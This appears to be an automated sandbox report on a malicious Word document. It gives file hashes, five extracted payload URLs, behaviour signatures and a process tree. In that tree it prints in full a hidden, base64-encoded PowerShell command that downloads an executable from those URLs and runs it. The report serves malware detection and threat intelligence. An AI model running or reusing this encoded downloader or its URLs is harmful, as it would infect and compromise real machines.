Analysis
-
max time kernel
122s -
max time network
123s -
platform
windows7_x64 -
resource
win7-20240903-en -
resource tags
-
submitted
20-11-2024 20:35
General
-
Target
0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b.doc
-
Size
173KB
-
MD5
5241dd964d853c1c46b4806a6a5199c8
-
SHA1
66f8e49163a8b17d9727b45205bbd6c43771eeaf
-
SHA256
0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b
-
SHA512
201752e0dee9f4bcb3b14ef29e6b75c2696bb4d07ff93234ee36c5f509927a039a2e25af1337d94f6e1ca9ad47bb8cb18ed92b7390efc1dbd930ad4fb3d4933a
-
SSDEEP
3072:ss2y/Gdy/ktGDWLS0HZWD5w8K7Nk9pD7IBUSWzB31U3h:ss2k4PtGiL3HJk9pD7bdd31k
Malware Config
Extracted
http://staging.mcuinternational.org/tmp/zmrx/
https://35g8.com/defines/5etmq2/
https://namdeinvest.com/wp-content/hxjzb/
http://ibtinfracon.com/wp/WNr/
http://websitetest.dranubhasingh.com/wp-includes/7j8/
Signatures
-
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
-
Blocklisted process makes network request 4 IoCs
-
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
-
Drops file in System32 directory 1 IoCs
-
Drops file in Windows directory 1 IoCs
-
System Location Discovery: System Language Discovery 1 TTPs 1 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
-
Office loads VBA resources, possible macro or embedded object present
-
Modifies registry class 64 IoCs
-
Suspicious behavior: AddClipboardFormatListener 1 IoCs
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
-
Suspicious use of AdjustPrivilegeToken 1 IoCs
-
Suspicious use of SetWindowsHookEx 2 IoCs
-
Suspicious use of WriteProcessMemory 4 IoCs
Processes
-
C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\0f9f54936c277ed089c3e693ecc1cb229745b07364400b8247815c888a09cf9b.doc"1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\splwow64.exeC:\Windows\splwow64.exe 122882⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\Powershell.exePowershell -w hidden -en JABDAHAAcABwAGgAYgBuAGoAZgBuAGwAZwBjAD0AJwBTAGsAYwBhAG0AbQBpAHUAegB3ACcAOwAkAEwAdQBtAGUAagBsAGIAdwBjAGIAcgB2AHQAIAA9ACAAJwA4ADcAMQAnADsAJABEAHgAbgBzAHMAcQB4AGYAawBiAHcAPQAnAEsAZwBxAHkAZgB5AGoAcwBqAGgAcwB0AHQAJwA7ACQAUABqAGwAeQBuAGEAdQB6AHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEwAdQBtAGUAagBsAGIAdwBjAGIAcgB2AHQAKwAnAC4AZQB4AGUAJwA7ACQAVQBwAHMAbABsAHkAZwBoAGEAdABuAG0APQAnAEgAaQBmAGIAbgBiAGIAZQBiACcAOwAkAFUAZABlAHgAcAB5AHgAZgA9ACYAKAAnAG4AZQAnACsAJwB3AC0AbwAnACsAJwBiAGoAZQBjAHQAJwApACAAbgBlAFQALgB3AEUAQgBjAEwASQBlAG4AdAA7ACQATwB2AHcAeABlAHEAbwBmAHMAPQAnAGgAdAB0AHAAOgAvAC8AcwB0AGEAZwBpAG4AZwAuAG0AYwB1AGkAbgB0AGUAcgBuAGEAdABpAG8AbgBhAGwALgBvAHIAZwAvAHQAbQBwAC8AegBtAHIAeAAvACoAaAB0AHQAcABzADoALwAvADMANQBnADgALgBjAG8AbQAvAGQAZQBmAGkAbgBlAHMALwA1AGUAdABtAHEAMgAvACoAaAB0AHQAcABzADoALwAvAG4AYQBtAGQAZQBpAG4AdgBlAHMAdAAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGgAeABqAHoAYgAvACoAaAB0AHQAcAA6AC8ALwBpAGIAdABpAG4AZgByAGEAYwBvAG4ALgBjAG8AbQAvAHcAcAAvAFcATgByAC8AKgBoAHQAdABwADoALwAvAHcAZQBiAHMAaQB0AGUAdABlAHMAdAAuAGQAcgBhAG4AdQBiAGgAYQBzAGkAbgBnAGgALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvADcAagA4AC8AJwAuACIAcwBQAGAATABpAFQAIgAoACcAKgAnACkAOwAkAEcAdwB1AHAAdgB5AHoAZQBkAGsAdgBpAGwAPQAnAEUAegBxAGUAcgBsAHMAbgBiAHoAbgByAGYAJwA7AGYAbwByAGUAYQBjAGgAKAAkAEEAeABnAHUAegBqAGgAeABtACAAaQBuACAAJABPAHYAdwB4AGUAcQBvAGYAcwApAHsAdAByAHkAewAkAFUAZABlAHgAcAB5AHgAZgAuACIARABvAHcAbgBsAGAATwBgAEEARABmAGkAYABMAGUAIgAoACQAQQB4AGcAdQB6AGoAaAB4AG0ALAAgACQAUABqAGwAeQBuAGEAdQB6AHIAKQA7ACQAUQBuAGIAbQBlAGIAbQByAGUAdQBuAGgAPQAnAE0AegB1AG8AbgB4AGMAbgB3AHoAbQBvACcAOwBJAGYAIAAoACgALgAoACcARwBlAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAUABqAGwAeQBuAGEAdQB6AHIAKQAuACIATABlAE4AYABHAHQAaAAiACAALQBnAGUAIAAyADcANgAzADgAKQAgAHsAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6ACIAUwBgAFQAYQByAHQAIgAoACQAUABqAGwAeQBuAGEAdQB6AHIAKQA7ACQASABoAHUAdQBrAHUAaABoAHkAagB5AD0AJwBMAGsAZABkAGYAcwBwAHoAdAAnADsAYgByAGUAYQBrADsAJABOAHEAZABxAGIAYQBxAHIAdABiAHgAbgA9ACcAQwBhAGUAcwB2AGUAcABlAHYAYgBtACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEkAcgBkAHEAbwBkAGMAaAB0AD0AJwBGAHkAdABoAHoAZgBvAHcAagBxAGQAJwA=1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
444B
MD5690171f8af13e63c3dcf2dfb07368e90
SHA1dc5ed551d6996dc34564e3d5177a74271195b906
SHA256c3a5d9972b7c5e76cf52129172f9e39dfe3016fbd0672f8aa3588460c9b204f3
SHA5126e1f9c04cb7717fc77eabf57d10c97722eb03ddda89afea170d3d2f6bc56a979ad20921e70e59e953d012944b3d7c9a4f3924aea25c2ac717cef7e09f1cd1040
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
64KB
-
Filesize
1024KB
-
Filesize
4KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
44KB
-
Filesize
1024KB
-
Filesize
1024KB
-
Filesize
2.9MB
-
Filesize
32KB